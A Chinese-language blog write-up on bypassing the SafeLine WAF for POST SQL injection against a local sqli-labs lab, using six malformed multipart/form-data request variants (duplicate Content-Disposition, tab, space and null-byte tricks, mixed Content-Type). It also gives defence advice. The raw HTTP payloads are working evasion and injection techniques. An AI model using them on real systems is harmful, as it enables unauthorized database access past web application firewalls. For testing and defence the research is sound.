分类: waf

  • 雷池 WAF POST 型 SQL 注入绕过研究:multipart 差异化解析实战

    作者:xiaodan
    环境:本地虚拟机靶场(sqli-labs Less-11)+ 雷池 WAF 个人版
    声明:本文所有测试均在自建靶场环境中完成,严禁用于未授权目标。


    一、环境搭建

    1.1 整体拓扑

    物理机(Burp Suite)
        │
        ▼
    虚拟机A:雷池 WAF(反向代理模式)
        │
        ▼
    虚拟机B:宝塔面板 + sqli-labs 靶场

    1.2 组件版本

    组件版本/说明
    靶场sqli-labs Less-11(POST 登录表单)
    WAF长亭雷池 WAF 个人版
    Web服务宝塔面板 + PHP + MySQL
    测试工具Burp Suite
    域名本地解析,绑定 hosts

    1.3 雷池配置要点

    • 雷池以反向代理模式部署在靶场前
    • 防护规则开启 SQL 注入检测
    • 物理机访问域名流量经过雷池转发至后端靶场

    二、基准测试:裸 Payload 被拦截

    未做任何绕过,直接发送标准 POST SQL 注入 Payload:

    POST /Less-11/ HTTP/1.1
    Host: www.danchengjie.com
    Content-Type: application/x-www-form-urlencoded
    
    uname=1' union select 1,2#&passwd=a&submit=Submit

    结果: 雷池直接返回拦截页面,HTTP 状态码非 200,页面显示「访问已被拦截」。

    这说明雷池对标准 application/x-www-form-urlencoded 下的 SQL 注入特征检测有效。


    三、核心思路:multipart 差异化解析

    3.1 原理说明

    HTTP multipart/form-data 协议(RFC 2046)允许在一个请求体中传输多个字段,
    每个字段由 boundary 分隔,并通过 Content-Disposition 头声明字段名。

    WAF 与后端(PHP)对 multipart 的解析实现存在差异:

    • WAF 需要高速处理海量请求,解析逻辑倾向于快速、宽松
    • PHP 的 multipart 解析遵循自身实现规则,对某些异常结构有特定的容错行为

    利用这种 解析差异(Parser Differential),可以构造 WAF 无法正确识别
    但后端能正常解析的请求,从而让恶意 Payload 绕过检测。

    3.2 基础结构对比

    正常 multipart 请求结构:

    Content-Type: multipart/form-data;boundary=a
    
    --a
    Content-Disposition: form-data; name="uname"
    
    admin
    --a--

    后续所有绕过方案均基于对这个结构的”畸形化”改造。


    四、绕过方案实战

    方案一:双 Content-Disposition + filename 欺骗(基础版)

    构造方式:

    Content-Type: multipart/form-data;boundary=a
    
    --a
    Content-Disposition: form-data; name="uname";
    Content-Disposition: form-data; name="uname";filename="1.txt"
    Context-Type: image/png
    
    uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1)#&passwd=a&submit=Submit
    --a
    Content-Disposition: form-data; name="passwd";
    
    Dumb
    --a
    Content-Disposition: form-data; name="submit";
    
    Submit
    --a--

    绕过逻辑:

    同一 part 内出现两行 Content-Disposition

    • 第一行带 filename="1.png" → WAF 误判为文件上传字段,跳过 SQL 注入检测
    • 第二行是标准字段声明 → PHP 按后者解析,正常取值

    结果: ✅ 成功绕过,页面返回数据库名。


    方案二:filename 参数 Tab 字符插入

    构造方式(关键行):

    Content-Disposition: form-data; name="uname";filename    ="1.txt"
    Content-Disposition: form-data; name="uname"

    filename= 之间插入 \t(Tab,0x09)。

    绕过逻辑:

    WAF 在解析参数名时,遇到 filename\t= 可能无法识别为合法的
    filename 属性,导致整个 part 的语义解析出错,进而跳过检测。
    PHP 对 Tab 字符更宽容,能正确提取 filename 并按文件字段处理第一行,
    以第二行 name="uname" 作为字段名正常赋值。

    结果: ✅ 成功绕过。


    方案三:filename 参数空格插入

    构造方式(关键行):

    Content-Disposition: form-data; name="uname";filename ="1.txt"
    Content-Disposition: form-data; name="uname"

    与方案二类似,在 filename= 之间插入普通空格(0x20)。

    绕过逻辑:

    部分 WAF 的参数解析器使用严格匹配,filename =(带空格)不匹配
    预期的 filename=,导致整个 filename 属性被忽略,field 被误判为
    普通文本字段而非文件上传字段,进而放行了包含 Payload 的内容。
    PHP 的解析器对此空格具有容错性,仍能识别为文件字段。

    结果: ✅ 成功绕过。


    方案四:name 值内嵌 \0 空字节截断

    构造方式(关键行):

    Content-Disposition: form-data; name="uname\0";filename="1.txt"
    Content-Disposition: form-data; name="uname"

    在第一行 name 的值中,uname 后插入空字节(\0,0x00)。

    绕过逻辑:

    WAF 在提取字段名时,遇到 \0 可能发生截断或解析错误,
    导致无法正确关联字段名与 Payload,检测逻辑失效。
    PHP 底层 C 实现中字符串以 \0 结尾,提取 name 时截断为 uname
    第二行正常赋值,后端逻辑完全正常执行。

    结果: ✅ 成功绕过。


    方案五:Content-Disposition 头名称后插入 \0

    构造方式(关键行):

    Content-Disposition\0:form-data; name="uname";filename="1.txt"
    Content-Disposition: form-data; name="uname"

    不是在值里加 \0,而是在头部名称的末尾、冒号之前插入 \0

    绕过逻辑:

    WAF 解析 HTTP 头时,Content-Disposition\0 不匹配标准头名称,
    可能将整行视为非法头而忽略,导致 WAF 看不到这一行的 filename 声明,
    无法识别文件上传语义,检测逻辑完全跳过这个 part。
    PHP 的 multipart 解析器在处理 body 时有独立逻辑,对这个 \0
    的处理方式与 WAF 不同,仍能提取到 filename 并按预期解析。

    结果: ✅ 成功绕过。


    方案六:混合 Content-Type(双类型声明)

    构造方式(关键头):

    Content-Type: application/x-www-form-urlencoded;multipart/form-data;boundary=a;

    将两种 Content-Type 写在同一行,同时在 body 中使用 multipart 结构,
    Payload 以 &uname= 前缀写在 part 的 body 区域内。

    绕过逻辑:

    WAF 遇到非标准的混合 Content-Type 时,可能优先按
    application/x-www-form-urlencoded 解析 body,
    在 URL 编码格式中找不到完整的 SQL 注入特征(因为内容是 multipart 格式),
    检测失效。PHP 实际优先识别 multipart/form-data 并找到 boundary,
    按 multipart 规则正常解析出字段和值。

    结果: ✅ 成功绕过。


    五、绕过手法汇总

    编号方案核心变异点绕过原理
    1双 Content-Disposition + filenamefilename=”1.png” 欺骗WAF 误判文件上传字段
    2filename 参数 Tab 截断filename\t=WAF 参数名解析失败
    3filename 参数空格插入filename =WAF 严格匹配失效
    4name 值 \0 截断name="uname\0"WAF 字段名提取异常
    5头名称后插 \0Content-Disposition\0:WAF 忽略非法头名
    6混合 Content-Type双类型声明WAF 解析类型判断错误

    六、总结与思考

    6.1 核心结论

    本次研究验证了一个核心命题:WAF 的安全性建立在其与后端解析行为一致的假设上, 一旦二者出现 Parser Differential,WAF 的检测就会失效。

    multipart/form-data 协议本身定义较为宽松,RFC 2046 对很多边界情况
    没有明确规定,给了不同实现各自发挥的空间,这正是此类绕过长期存在的根本原因。

    6.2 防御建议

    对于 WAF 厂商:

    • 对 multipart 解析应与主流后端(PHP/Java/Python)的实际行为严格对齐
    • 对畸形的 Content-Disposition(重复、含特殊字符)应直接拒绝而非忽略
    • 对混合 Content-Type 应采取保守策略,疑似异常请求一律拦截

    对于开发者:

    • 后端应对上传字段做严格的类型和内容校验,不依赖 WAF 作为唯一防线
    • 敏感接口建议在应用层做二次输入过滤

    6.3 延伸方向

    • HTTP/2 的 multipart 解析差异
    • JSON 嵌套结构的解析差异绕过
    • Chunked Transfer Encoding 分块传输绕过
    • 参考:RFC 2046、OWASP WAF Bypass、先知社区相关议题

    本文所有实验均在自建本地靶场完成,域名已做本地 hosts 解析,
    不涉及任何真实线上系统。如需复现,请自行搭建合法测试环境。
    “`